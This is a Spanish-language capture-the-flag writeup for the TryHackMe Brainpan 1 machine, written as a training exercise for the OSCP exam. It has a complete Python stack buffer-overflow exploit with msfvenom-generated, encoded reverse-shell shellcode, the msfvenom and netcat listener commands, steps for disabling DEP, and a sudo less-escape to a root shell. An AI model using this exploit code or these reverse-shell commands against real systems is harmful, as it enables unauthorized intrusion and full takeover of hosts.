Inicio Brainpan 1 - THM Writeup
Post
Cancelar

Brainpan 1 - THM Writeup

image

El dia de hoy se presenta una guia o writeup sobre una maquina interesante en la plataforma de TryHackMe la cual segun su propia descripcion indica que se hara un analisis de una vulnerabilidad por desbordamiento de buffer (buffer overflow) de un archivo ejecutable de Windows .exe, lo cual nos prepara de cierta forma para un reto en la certificacion OSCP que es una de las mas demandadas a nivel profesional en el campo de la Ciberseguridad que tanto seguimos, por lo tanto todo esto comprende un reto tambien importante para nosotros al introducirnos en el area profesional del Hacking Etico.

Un desbordamiento de bufer se refiere a una anomalia en donde un programa, mientras escribe en los buferes de memoria asignados para ciertas variables o registros, sobrepasa los limites de algun bufer, llegando a escribir en locaciones de memoria adyacentes como se presenta a continuacion: image

Brainpan is perfect for OSCP practice and has been highly recommended to complete before the exam. Exploit a buffer overflow vulnerability by analyzing a Windows executable on a Linux machine. If you get stuck on this machine, don’t give up (or look at writeups), just try harder.

Esta caja en particular no utiliza flag de hashes en archivos .txt pero de igual forma completaremos los objetivos segun se vayan logrando los cuales son:

  1. Deploy the machine.
  2. Gain initial access
  3. Escalate your privileges to root.

Sin saltarse ninguno antes de realmente completarlo, vamos paso a paso.

Una vez logeados, procedemos a iniciar la maquina y agregarle 1 hora mas por si acaso, luego nos conectamos al VPN con

sudo openvpn /PATHTO/USER.ovpn

Aqui ya podemos marcar el primer objetivo como completado, y empezamos…

RECONOCIMIENTO

Como siempre primero podemos hacer un ping -c 1 IP para determinar el TTL de la respuesta a ver si se acerca a 64 (Linux) o a 128 (Windows), vemos en este caso que es Linux.

Luego seguimos con nuestro escaneo con la herramienta nmap para identificar puertos abiertos y mucho mas con:

nmap -p- --open -T5 -n -v 10.10.136.187 -oN puertos.txt image

Para ver todos los puertos TCP -p-, solo listar puertos --open, con velocidad maxima de escaneo -T5, sin resolucion DNS -n, -verbosidad para ver puertos abiertos en salida y guardando un archivo -oN puertos.txt

Procedemos a analizar en mas detalle los puertos abiertos pasandoles scripts basicos de enumeracion -sC y deteccion de version -sV, con salida al archivo version.txt.

nmap -sC -sV 10.10.137.187 -oN version.txt image

Vemos que existen dos puertos 9999,10000 que buscando en internet lo que es abyss es un protocolo de interfaz de web, asi que los dos deberian ser paginas HTTP, sin embargo al abrir en el navegador nos topamos que solo el puerto http://10.10.136.187:10000/ es el unico que responde a whatweb y a nuestro explorador de internet con sitio estatico sin mucha informacion acerca de la maquina.

De resto con el puerto 9999 habiamos visto un banner que se envio a traves de la enumeracion de nmap, asi que podemos entablar una conexion telnet por el puerto especificado a ver que envia el servidor: image

La conexion al abrirse nos muestra el banner de brainpan, y se queda esperando por una clave que no conocemos, y si es erronea la conexion se cierra. Por los momentos dejaremos este puerto tranquilo y veremos el otro.

Podemos hacer fuzzing que es la tecnica que se usa para buscar alguna ruta existente en subdirectorios de la pagina, para ello podemos usar la herramienta gobuster desarrollada en lenguaje Go:

gobuster dir -t 200 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://10.10.137.187:10000/ --no-error image

Haciendo uso de su funcion dir con 200 threads -t, usando el diccionario -w directory-list-2.3-medium.txt que es muy usado, pasandole la URL -u con el puerto 10000, y poniendo --no-error para evitar mostrar errores de timeout, vemos que aun sin terminar ya encontro un subdirectorio bin que si lo abrimos en el explorador: image

Vemos un directory listing donde podemos ver un archivo brainpan.exe, este vamos a descargarlo a nuestra maquina Linux para hacerle analisis y seguimos con la siguiente etapa…

ESCANEO

Nos bajamos el archivo brainpan.exe con wget y poniendo la ruta, y usamos file para ver que tipo de binario es: image

Vemos que es un archivo hecho para Windows en version de 32 bits. En este punto para poder ver que es lo que hace este ejecutable, y para debuggearlo de una mejor forma, nos descargaremos e instalaremos una maquina virtual con Windows 7 32-bits. Yo usare la imagen de Windows 7 SP1 MiniOS7 PRO x86 de Daniel (Doofy) Rodriguez, que tiene un tamaño de archivo menor, es una version mas ligera, tiene una instalacion mas rapida y nos funciona de maravilla para la tarea que vamos a realizar.

Una vez tengamos nuestra maquina montada, descargamos e instalamos el Immunity Debugger que es la herramienta de analisis de binarios e ingenieria inversa que se recomienda en el OSCP y es la mas comunmente usada para este tipo de investigacion: image

En esta maquina requeriremos de desactivar la Data Execution Protection que es el mecanismo que se utiliza a nivel de hardware para marcar la memoria con atributos que indican que la ejecucion de comandos no sea posible en espacios de memoria asignados, con esto desactivado podremos hacer el debug y probar el exploit sin ningun problema. Para desactivar esto necesitamos abrir una consola cmd.exe con permisos de Administrador y enviar el siguiente comando:

BCDEDIT /SET {CURRENT} NX ALWAYSOFF

Una vez enviado el comando, reiniciamos la maquina Windows y ya la DEP estara desactivada, ahora tenemos que ver la forma de como enviar el archivo brainpan.exe a esta maquina, podemos hacerlo usando impacket-smbserver, python -m http.server o cualquier otro medio, recordando siempre que aca se deben usar las IPs de la red NAT que otorga nuestro software de virtualizacion (aca estamos usando VMWare Workstation Player): image

Usamos impacket-smbserver ya que el servidor web con python -m http.server dio alertas con Internet Explorer y por no instalar otro explorador, nos quedamos con SMB.

Luego abrimos una consola, vamos a la ruta del archivo y lo corremos desde cmd.exe, nos damos cuenta que abre un puerto 9999 esperando por conexion: image

Y si probamos hacer telnet desde nuestra maquina Linux a este nuevo servidor recibimos el mismo banner anterior y la respuesta es recibida desde la consola Windows: image

Con esto concluimos que es el mismo servicio abierto en la maquina Brainpan 1 y seguiremos con su analisis a ver de que manera puede ser explotado.

Para ello podemos crear un script para hacer fuzzing de desbordamiento a ver si este binario es susceptible a buffer overflow, esto se hara con el siguiente script en Python:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/python
import socket, sys, time #socket para conexiones, sys para pasar argumentos, time para usar sleep
if __name__ == '__main__':
    ip_addr =  sys.argv[1] #Tomamos los valores de IP y Puerto
    port = int(sys.argv[2])
    string = 'A' #Caracter a enviar
    mult = 100 #Multiplicador
    for i in range(32):
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #Creando socket, AF_INET representa conexiones IPV4, SOCK_STREAM representa conexion TCP
            s.settimeout(5) #Si cualquier conexion del socket tarda mas de 5 segundos, salta a error except:
            s.connect((ip_addr, port)) #Conectando al socket
            data = s.recv(1024) #Recibiendo data inicial (banner)
            print("[*] Enviando", mult, "caracteres...\r", end='') #Con retorno y sin salto de linea para sobreescribir en el mismo texto
            s.send((string*mult).encode('latin1')) #Enviando caracteres, usando encoder 'latin1' que no modifica los hex codes, python3 lo exije
            data = s.recv(1024)
            mult += 100 #Aumento de 100
            time.sleep(1)
        except:
            print("    [!] Ocurrio un error! Bufer actual en", mult, "caracteres...")
            sys.exit(1)

En los comentarios se puede leer la descripcion en cada linea, pero basicamente envia letras ‘A’ de 100 en 100 al socket conectado en el puerto 9999 de la maquina victima. Luego abrimos el proceso brainpan.exe nuevamente desde nuestra maquina Windows 7, y ejecutamos el exploit con python bofexploit.py o ./bofexploit.py si tiene permisos de ejecucion. Con esto vamos a ver como se van a ir enviando los caracteres pero… sorpresa!, vemos como el programa se corrompe al enviar 600 caracteres, esto significa que el programa es susceptible a este tipo de vulnerabilidad. image

Ya con ello, vamos a nuevamente abrir el proceso brainpan.exe y abrimos nuestro Immunity Debugger que instalamos previamente, luego le damos a File -> Attach para conectarnos con el proceso brainpan.exe (podemos hacer uso del sortear por Name) que ya esta abierto en nuestra consola cmd.exe image image

Sin embargo al conectarnos al proceso, este se pondra en estado Paused como se puede observar en la siguiente imagen, con eso debemos darle al boton de Play en la barra de arriba para que el proceso siga corriendo: image

Luego de eso vamos a nuevamente correr nuestro script desde la maquina Linux y veremos el comportamiento del programa al momento de desbordarse el bufer y tener un error: image

La letra A representada en hexadecimal (ascii) tiene la forma 0x41, y vemos como dicho valor 41 se repite muchas veces en diferentes registros, esto pasa por lo siguiente: El Stack o Pila en memoria son una serie de espacios en donde se almacena la informacion, como vemos en la imagen, existe un area llamada Buffer Space que es donde el programa guarda ciertos parametros como variables locales, entre otros, siendo en nuestro caso el espacio donde el programa guarda la entrada del usuario por telnet. La forma de escritura de memoria en el caso de la imagen es hacia abajo, vemos como los registros EBP y EIP estan por debajo de la que seria nuestra posicion actual, y el desbordamiento de bufer ocurre cuando sobrepasamos el limite del bufer que seria asignado a nuestra variable, y vamos mas alla llenando los espacios subyacentes.

image

El registro EIP es de extrema importancia, ya que es en donde se define a que instruccion debe saltar el programa en cada paso, si podemos escribir en el, teoricamente podemos dirigir el flujo del programa a nuestra conveniencia. Con esto en mente, debemos buscar una forma de saber cuantos caracteres exactamente necesitamos para llegar a ese registro EIP, ya que en dentro de el no queremos caracteres aleatorios o Aes, necesitamos colocar en el una direccion en el programa que nos sirva para ejecutar comandos remotamente.

El concepto aca seria generar una serie de caracteres que no se repitan, enviar el desbordamiento de bufer, y ver que numero se coloca en el EIP para saber en que posicion de la cadena que enviamos es donde se ubicara ese registro.

Esto se puede hacer de multiples maneras, por aca lo haremos con gdb-peda, en nuestra maquina Linux utilizamos el comando gdb -q para abrir el GNU Debugger con peda, y luego usamos (no cerrar la ventana de gdb-peda ya que la usaremos mas adelante)

pattern create 600 image

Esto nos creara un patron de 600 caracteres (mayor que nuestro buffer overflow) que son unicos en series no repetitivas de 32 bits (4 Bytes = 4 chars), luego nos copiamos esto y debemos enviar nuevamente al servicio brainpan.exe, esto lo podriamos reemplazar en el bufer que se envia por nuestro Script de Python, pero para hacerlo mas sencillo podemos simplemente abrir una nueva sesion de telnet y enviarlo desde alli ya que los caracteres son reconocibles por consola.

Para esto hay que primero cerrar el Immunity Debugger si estaba abierto ya con el proceso brainpan asignado, luego volver a abrir el brainpan.exe desde consola, y luego volver a abrir Immunity Debugger y volver a Attach el proceso.

Una vez el proceso este activo, enviamos por telnet el patron creado en gdb-peda y vemos nuevamente el EIP que queda alojado en memoria. Vemos que pone un codigo 73413973, este codigo nos lo copiamos y lo ponemos en gdb-peda con el comando patron offset 0x73413973 y nos indica que existe un offset desde el inicio hasta este codigo, de 524 caracteres. Despues de esto la ventana de gdb-peda puede ser cerrada. image image

Ya con esto tenemos el offset que necesitamos enviar antes de llegar al registro EIP, la idea ahora es enviar los 524 caracteres primarios del offset, luego enviar el EIP que son 4 caracteres mas, y luego de esto enviaremos nuestro payload (que al ver la respuesta del servidor, vemos que el restante de la cadena luego de los primeros 528 caracteres, se guardan en el registro ESP) con el objetivo final de obtener una reverse shell (consola remota) a nuestro equipo, sin embargo no es tan sencillo como colocar el EIP apuntando a la direccion de memoria donde estara el payload, pues existen 2 inconvenientes:

  1. En ciertos binarios existen caracteres que no son correctamente interpretados por el computador, estos son llamados bar chars o caracteres malos, es necesario encontrar y evitar el uso de estos bad chars en la creacion del payload de explotacion.
  2. No se puede apuntar directamente con el EIP hacia el registro donde se esta guardando el resto de nuestro payload que seria el registro ESP, apuntar a su direccion directamente nos llevaria a un error de ejecucion.

Para resolver el primer problema, retocaremos nuestro script en Python para mandar: 524 chars (offset) + 4 chars (EIP) + bytearray donde bytearray seran todos los numeros hexadecimales de 16 bits, es decir, desde el 0x00 hasta el 0xFF o \xFF. Para crear esta cadena de bytes automaticamente podemos hacer uso de mona.py que es un tipo de “plug-in” para Immunity Debugger, seguimos los pasos para su instalacion y procedemos a usarlo de la siguiente manera:

Maximizamos Immunity Debugger y en la linea de entrada de comandos de abajo introducir el siguiente comando para crear la carpeta de trabajo que mona.py usara (en mi caso decidi C:\brainpan): image

!mona config -set workingfolder C:\%p Luego ya que tenemos la carpeta definida, utilizamos la funcion !mona bytearray para crear la cadena de bytes de la siguiente forma: !mona bytearray -cpb \x00 Donde -cpb \x00 es para no colocar el bad char 0x00 que ya se sabe debe ignorarse. Esto creara en la carpeta configurada anteriormente dos archivos bytearray.bin y bytearray.txt que el archivo de texto lo pasaremos a nuestra maquina para copiar el array, y el .bin lo usaremos mas adalante para comparar si hay algun bad char o no.

Una vez copiado el archivo bytearray.txt a nuestra maquina Linux (se hace con impacket-smbserver de nuevo) podemos hacer uso de grep y xclip para copiar el contenido:

grep ^\" bytearray.txt | xclip -sel clip image

Y luego retocamos nuetro script para incluir estos bytes luego de la posicion del EIP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/python
import socket, sys, time
if __name__ == '__main__':
    ip_addr =  sys.argv[1]
    port = int(sys.argv[2])
    offset = 'A'*524
    eip = 'B'*4
    command = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
    payload = offset + eip + command 
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((ip_addr, port))
        data = s.recv(1024)
        print("[*] Enviando payload...")
        s.send((payload).encode('latin1'))
        data = s.recv(1024)
    except:
        print("\n    [!] Ocurrio un error!")
        sys.exit(1)

Al enviar el script: image Vemos como efectivamente el EIP se muestra como 42424242 que significa BBBB, y justo despues de este viene el stack ESP en donde vemos todo nuestro bytearray desde 0x01 hasta 0xFF, es ciertamente ineficiente revisar caracter por caracter, asi que haremos uso de mona.py nuevamente donde tiene una funcion que hace esto por nosotros. Solo es ejecutar la siguiente linea:

!mona compare -f C:\brainpan\bytearray.bin -a 0x0022F930

Comparamos el bytearray que creamos anteriormente con todo lo que viene a continuacion del ESP (0x0022F930) y esto nos devuelve una ventana donde no se presenta ningun bad char image Es decir que solo tenemos el \x00 como bad char, en caso de que existiese otro solo mostraria uno solo, por lo tanto habria que recrear el bytearray excluyendo ese otro badchar con la forma -cpb \x00\x?? y repetir todo el proceso, asi consecutivamente hasta que no nos muestre ningun bad char al hacer un !mona compare

Ya con esto resolvemos el primer problema, ahora para el segundo tenemos lo siguiente:

Como no se puede apuntar directamente el EIP el stack ESP que es donde se deposita nuestro payload, debemos buscar una funcion en el mismo brainpan.exe que haga un salto al ESP jmp esp, de esta forma hariamos un salto indirecto hacia nuestro payload. Para encontrar un jmp esp dentro del programa, primero debemos buscar cual es el Operation Code (opcode) de jmp esp y lo logramos haciendo Ctrl + F dentro de Immunity Debugger. image Con eso vemos el codigo es FFE4, no debemos prestarle atencion a la direccion a la izquierda ya que esta varia y no funcionara si la ponemos en el EIP, en cambio podemos usar mona.py para ubicar donde se encontraria un jmp esp usable para esto, y lo hacemos con:

!mona modules para saber que modulo debemos usar (brainpan.exe) image

!mona -m brainpan.exe -s \xFF\xE4 para ubicar el pointer deseado image

Vemos como el pointer jmp esp se ubica en la direccion 0x311712F3, este seria finalmente nuestro EIP deseado, que hara una redireccion al ESP donde meteremos nuestro payload al culminar. Al momento de configurar esta direccion en el script de Python, es necesario saber que el EIP especificamente debe venir en formato Little Endian, para esto solo hay que invertir la posicion de los bytes, es decir que nuestra variable quedaria como eip = "\xf3\x12\x17\x31".

Ahora solo resta crear un payload en formato shell que permita ejecutar acciones a bajo nivel que nos permita obtener una consola remota desde la maquina victima hacia nuestra maquina de atacante. Esto lo podremos lograr con la herramienta msfvenom del metasploit framework, que nos permite crear un payload rapidamente sin tener que estar inmersos en el entorno de metasploit.

Para nuestra maquina de pruebas utilizarmos el payload windows/shell_reverse_tcp que ejecuta una consola con conexion inversa a nosotros, para ello ejecutamos el comando

1
msfvenom -p windows/shell_reverse_tcp --platform windows -a x86 -f python -v command LHOST=192.168.132.128 LPORT=443 EXITFUNC=thread -b '\x00' -e x86/shikata_ga_nai` 

En donde usamos el -payload requerido, marcamos la --platform y su -arquitectura, usamos el -formato python con la -variable commmand, usamos LHOST / LPORT de nuestra maquina de atacante, marcamos los bad chars -b, y finalmente usamos el -encoder shikata_ga_nai para ofuscar nuestro comando y evitar detecciones de antimalwares. image

Copiamos estas lineas quitando la letra b en b"\xxx\xxx..." para quedarnos con variables en str y no en bytes ya que se codifican luego con latin1. Reemplazamos nuestra variable command y tambien agregamos nops = "\x90"*20, los NOPs son operaciones nulas en la ejecucion de comando, es decir, no hacer nada, estas no-instrucciones las ponemos antes de los comandos del payload, esto porque estos comandos van codificados con shikata_ga_nai y pueden tomar un tiempo en decodificarse, por lo que si no se espera y se pasa directo a la ejecucion de este, puede haber mala interpretacion del codigo.

Nuestro script bofexploit.py queda finalmente estructurado de la siguiente manera

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/python
import socket, sys, time
if __name__ == '__main__':
    ip_addr =  sys.argv[1]
    port = int(sys.argv[2])
    offset = 'A'*524
    eip = "\xf3\x12\x17\x31"
    nops = "\x90"*20
    command =  ""
    command += "\xb8\xad\x3d\x78\xbb\xda\xc9\xd9\x74\x24\xf4\x5f"
    command += "\x31\xc9\xb1\x52\x31\x47\x12\x03\x47\x12\x83\x6a"
    command += "\x39\x9a\x4e\x88\xaa\xd8\xb1\x70\x2b\xbd\x38\x95"
    command += "\x1a\xfd\x5f\xde\x0d\xcd\x14\xb2\xa1\xa6\x79\x26"
    command += "\x31\xca\x55\x49\xf2\x61\x80\x64\x03\xd9\xf0\xe7"
    command += "\x87\x20\x25\xc7\xb6\xea\x38\x06\xfe\x17\xb0\x5a"
    command += "\x57\x53\x67\x4a\xdc\x29\xb4\xe1\xae\xbc\xbc\x16"
    command += "\x66\xbe\xed\x89\xfc\x99\x2d\x28\xd0\x91\x67\x32"
    command += "\x35\x9f\x3e\xc9\x8d\x6b\xc1\x1b\xdc\x94\x6e\x62"
    command += "\xd0\x66\x6e\xa3\xd7\x98\x05\xdd\x2b\x24\x1e\x1a"
    command += "\x51\xf2\xab\xb8\xf1\x71\x0b\x64\x03\x55\xca\xef"
    command += "\x0f\x12\x98\xb7\x13\xa5\x4d\xcc\x28\x2e\x70\x02"
    command += "\xb9\x74\x57\x86\xe1\x2f\xf6\x9f\x4f\x81\x07\xff"
    command += "\x2f\x7e\xa2\x74\xdd\x6b\xdf\xd7\x8a\x58\xd2\xe7"
    command += "\x4a\xf7\x65\x94\x78\x58\xde\x32\x31\x11\xf8\xc5"
    command += "\x36\x08\xbc\x59\xc9\xb3\xbd\x70\x0e\xe7\xed\xea"
    command += "\xa7\x88\x65\xea\x48\x5d\x29\xba\xe6\x0e\x8a\x6a"
    command += "\x47\xff\x62\x60\x48\x20\x92\x8b\x82\x49\x39\x76"
    command += "\x45\xb6\x16\xfc\x15\x5e\x65\xfc\x14\x24\xe0\x1a"
    command += "\x7c\x4a\xa5\xb5\xe9\xf3\xec\x4d\x8b\xfc\x3a\x28"
    command += "\x8b\x77\xc9\xcd\x42\x70\xa4\xdd\x33\x70\xf3\xbf"
    command += "\x92\x8f\x29\xd7\x79\x1d\xb6\x27\xf7\x3e\x61\x70"
    command += "\x50\xf0\x78\x14\x4c\xab\xd2\x0a\x8d\x2d\x1c\x8e"
    command += "\x4a\x8e\xa3\x0f\x1e\xaa\x87\x1f\xe6\x33\x8c\x4b"
    command += "\xb6\x65\x5a\x25\x70\xdc\x2c\x9f\x2a\xb3\xe6\x77"
    command += "\xaa\xff\x38\x01\xb3\xd5\xce\xed\x02\x80\x96\x12"
    command += "\xaa\x44\x1f\x6b\xd6\xf4\xe0\xa6\x52\x14\x03\x62"
    command += "\xaf\xbd\x9a\xe7\x12\xa0\x1c\xd2\x51\xdd\x9e\xd6"
    command += "\x29\x1a\xbe\x93\x2c\x66\x78\x48\x5d\xf7\xed\x6e"
    command += "\xf2\xf8\x27"
    payload = offset + eip + nops + command 
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((ip_addr, port))
        data = s.recv(1024)
        print("[*] Enviando payload...")
        s.send((payload).encode('latin1'))
        data = s.recv(1024)
    except:
        print("\n    [!] Ocurrio un error!")
        sys.exit(1)

Si re-abrimos el servicio brainpan.exe en nuestra maquina de prueba (sin utilizar el Immunity Debugger para que no pause la ejecucion) y ejecutamos el ./bofexploit.py 192.168.132.131 9999 mientras en otra ventana hacemos un sudo nc -nlvp 443 para escuchar con netcat el puerto en espera de una consola remota, observamos como se realiza la explotacion de la vulnerabilidad de desbordamiento de bufer para ganar acceso inicial a nuestro sistema de prueba: image

Ahora solo falta adaptar este exploit al sistema Linux en el que esta basado la maquina original de TryHackMe, para ello cambiaremos el payload del msfvenom a linux/x86/shell_reverse_tcpcon la siguiente ejecucion:

1
msfvenom -p linux/x86/shell_reverse_tcp -a x86 -f python -v command LHOST=10.8.33.130 LPORT=443 -b '\x00' -e x86/shikata_ga_nai

De igual forma copiamos el texto en nuestro script, abrimos una instancia de nc y ejecutamos el exploit ahora contra la IP de la maquina de TryHackMe y ganamos acceso con una consola no muy interactiva: image

Con esto podremos completar nuestro segundo objetivo de la maquina…

ESCALADA DE PRIVILEGIOS

Una vez tenemos acceso, lo primero que podemos hacer es obtener una consola mas interactiva haciendo uso de una serie de pasos que se explican a continuacion:

  • script /dev/null -c bash
  • En teclado Ctrl + Z
  • stty raw -echo; fg
  • Escribir reset aunque no se vea
  • xterm en Terminal Type
  • export SHELL=bash
  • export TERM=xterm

Ya con esto tenemos una consola interactiva con la cual procedemos a seguir investigando en como ganar privilegios de root. En un principio entramos como el usuario puck pero al escribir sudo -l vemos que podemos ejecutar el paquete /home/anansi/bin/anansi_util como root sin proveer password: image

Asi que ejecutamos el comando haciendo sudo /home/anansi/bin/anansi_util vemos una serie de opciones, probamos con:

sudo /home/anansi/bin/anansi_util manual cat

Y vemos que nos abre un manual del tipo man o less, pero al estar ejecutando esto como root podemos facilmente escribir !/bin/bash para escapar del less y ejecutar comandos desde alli, y finalmente esto nos abrira una consola bash con permisos de root: image

Con esto completamos el ultimo objetivo de nuestra maquina explotando exitosamente una vulnerabilidad de buffer overflow en ambos entornos Windows y Linux…

Saludos!

Este post esta bajo la licencia CC BY 4.0 por el autor.